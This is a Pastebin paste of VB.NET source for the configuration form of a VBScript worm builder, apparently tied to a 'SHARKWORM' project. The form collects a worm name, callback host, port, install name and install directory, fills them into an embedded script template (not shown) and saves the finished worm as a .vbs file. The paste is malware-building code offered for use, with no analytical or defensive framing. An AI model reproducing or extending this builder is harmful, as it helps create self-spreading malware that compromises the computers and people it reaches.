Advertisement
SecurityNajaf

#IL_Code 8920

Jan 20th, 2014
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 5.21 KB | None | 0 0
  1. Imports Microsoft.VisualBasic
  2. Imports Microsoft.VisualBasic.CompilerServices
  3. Imports System
  4. Imports System.Collections.Generic
  5. Imports System.ComponentModel
  6. Imports System.Diagnostics
  7. Imports System.Drawing
  8. Imports System.IO
  9. Imports System.Runtime.CompilerServices
  10. Imports System.Windows.Forms
  11. Imports Sec_wOrm.SHARKWORM
  12. Public Class Form2
  13.     Dim value As Integer
  14.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  15.         Try
  16.             Randomize()
  17.             'Generate random value between 8581 and 745447.
  18.             value = CInt(Int((745447 * Rnd()) + 8581))
  19.             Dim dialog As New SaveFileDialog
  20.             dialog.FileName = value & ".vbs"
  21.             dialog.Filter = "VBScrip|*.vbs"
  22.             If (dialog.ShowDialog = DialogResult.OK) Then
  23.                 compile(nam.Text, host.Text, TextBox1.Text, insname.Text, dir.Text, dialog.FileName)
  24.                 Try
  25.                     FN.STV("bport", Conversions.ToString(Me.TextBox1.Text))
  26.                     ListBox1.Items.Clear()
  27.                     ListBox1.Items.Add("Port Number : " & TextBox1.Text & ChrW(13) & ChrW(10))
  28.                     ProgressBar1.Value = 20
  29.                 Catch exception1 As Exception
  30.                 End Try
  31.                 Try
  32.                     FN.STV("nam", Me.nam.Text)
  33.                     ListBox1.Items.Add("Name wOrm  : " & nam.Text & ChrW(13) & ChrW(10))
  34.                     ProgressBar1.Value = 20
  35.                 Catch exception6 As Exception
  36.                 End Try
  37.                 Try
  38.                     FN.STV("host", Me.host.Text)
  39.                     ListBox1.Items.Add("Host Name    : " & host.Text & ChrW(13) & ChrW(10))
  40.                     ProgressBar1.Value = 20
  41.                 Catch exception7 As Exception
  42.                 End Try
  43.                 Try
  44.                     FN.STV("Ins", Me.insname.Text)
  45.                     ListBox1.Items.Add("Install Name  : " & insname.Text & ChrW(13) & ChrW(10))
  46.                     ProgressBar1.Value = 20
  47.                 Catch exception8 As Exception
  48.                 End Try
  49.                 Try
  50.                     FN.STV("dir", Conversions.ToString(Me.dir.SelectedIndex))
  51.                     ListBox1.Items.Add("Install Path    : " & dir.Text & ChrW(13) & ChrW(10))
  52.                     ProgressBar1.Value = 100
  53.                 Catch exception9 As Exception
  54.                 End Try
  55.             End If
  56.             System.Threading.Thread.Sleep(1000)
  57.             MessageBox.Show("Configuration has been successfully :  " & dialog.FileName, "DONE!")
  58.         Catch : End Try
  59.     End Sub
  60.  
  61.     Public Sub compile(ByVal Name As String, ByVal host As String, ByVal port As Integer, ByVal exe As String, ByVal dir As String, ByVal out As String)
  62.         Try
  63.             Dim xc As String = My.Resources.srctxt
  64.             xc = xc.Replace("<name>", Name)
  65.             xc = xc.Replace("<host>", host)
  66.             xc = xc.Replace("<port>", Conversions.ToString(port))
  67.             xc = xc.Replace("<installname>", exe)
  68.             xc = xc.Replace("<dir>", dir)
  69.             Dim dialog As New SaveFileDialog
  70.             dialog.FileName = "Test.VBS"
  71.             dialog.Filter = "|*.vbs"
  72.             IO.File.WriteAllText(out, xc)
  73.         Catch : End Try
  74.     End Sub
  75.     Private Sub Form2_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
  76.         Try
  77.             ListBox1.Items.Add("Idle ...")
  78.             Me.dir.SelectedIndex = 0
  79.             Try
  80.                 TextBox1.Text = FN.GTV("bport", TextBox1.Text)
  81.                 ' port.Value = FN.GTV("bport", port.Value)
  82.             Catch exception1 As Exception
  83.  
  84.             End Try
  85.             Try
  86.                 nam.Text = FN.GTV("nam", Me.nam.Text)
  87.             Catch exception7 As Exception
  88.  
  89.             End Try
  90.             Try
  91.                 host.Text = FN.GTV("host", host.Text)
  92.  
  93.             Catch exception8 As Exception
  94.             End Try
  95.             Try
  96.                 insname.Text = FN.GTV("exe", insname.Text)
  97.             Catch exception9 As Exception
  98.             End Try
  99.             Try
  100.                 dir.SelectedIndex = FN.GTV("dir", 0)
  101.             Catch exception10 As Exception
  102.             End Try
  103.             Try
  104.             Catch exception11 As Exception
  105.             End Try
  106.         Catch : End Try
  107.     End Sub
  108.  
  109.     Private Sub insname_MouseLeave(ByVal sender As Object, ByVal e As System.EventArgs) Handles insname.MouseLeave
  110.         Try
  111.             If (Me.insname.Text <> "") Then
  112.                 Dim insname As TextBox
  113.                 If Me.insname.Text.Contains(".") Then
  114.                     Dim str As String = Strings.Split(Me.insname.Text, ".", -1, CompareMethod.Binary)((Strings.Split(Me.insname.Text, ".", -1, CompareMethod.Binary).Length - 1)).ToLower
  115.                     If (str <> "vbs") Then
  116.                         insname = Me.insname
  117.                         insname.Text = (insname.Text & ".vbs")
  118.                     End If
  119.                 Else
  120.                     insname = Me.insname
  121.                     insname.Text = (insname.Text & ".vbs")
  122.                 End If
  123.             Else
  124.                 Me.insname.Text = "Test.vbs"
  125.             End If
  126.         Catch : End Try
  127.     End Sub
  128.  
  129.  
  130. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement